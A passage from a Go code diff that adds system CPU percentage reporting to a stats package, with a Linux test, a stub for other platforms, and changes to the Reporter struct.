func TestSystemCPUPercentLinuxSecondSample(t *testing.T) {
r := NewReporter()
_ = r.SystemCPUPercent() // first sample seeds baseline
pct := r.SystemCPUPercent()
if pct < 0 || pct > 100 {
t.Fatalf("cpu percent out of range: %v", pct)
}
}

7
agent/stats/cpu_stub.go Normal file
View File

@@ -0,0 +1,7 @@
//go:build !windows && !linux && !darwin
package stats
func (r *Reporter) SystemCPUPercent() float64 {
return 0
}

View File

@@ -17,20 +17,6 @@ func filetimeToUint64(ft filetime) uint64 {
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
}
func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
if totalDelta <= 0 {
return 0
}
busyPct := (1.0 - idleDelta/totalDelta) * 100
if busyPct < 0 {
return 0
}
if busyPct > 100 {
return 100
}
return busyPct
}
func (r *Reporter) SystemCPUPercent() float64 {
r.mu.Lock()
defer r.mu.Unlock()

View File

@@ -10,6 +10,10 @@ import (
type Reporter struct {
mu sync.Mutex
lastIdle uint64
lastTotal uint64
hasSample bool
}
func NewReporter() *Reporter {
@@ -45,6 +49,3 @@ func (r *Reporter) TotalMemoryMB() uint64 {
return total / (1024 * 1024)
}
func (r *Reporter) SystemCPUPercent() float64 {
return 0
}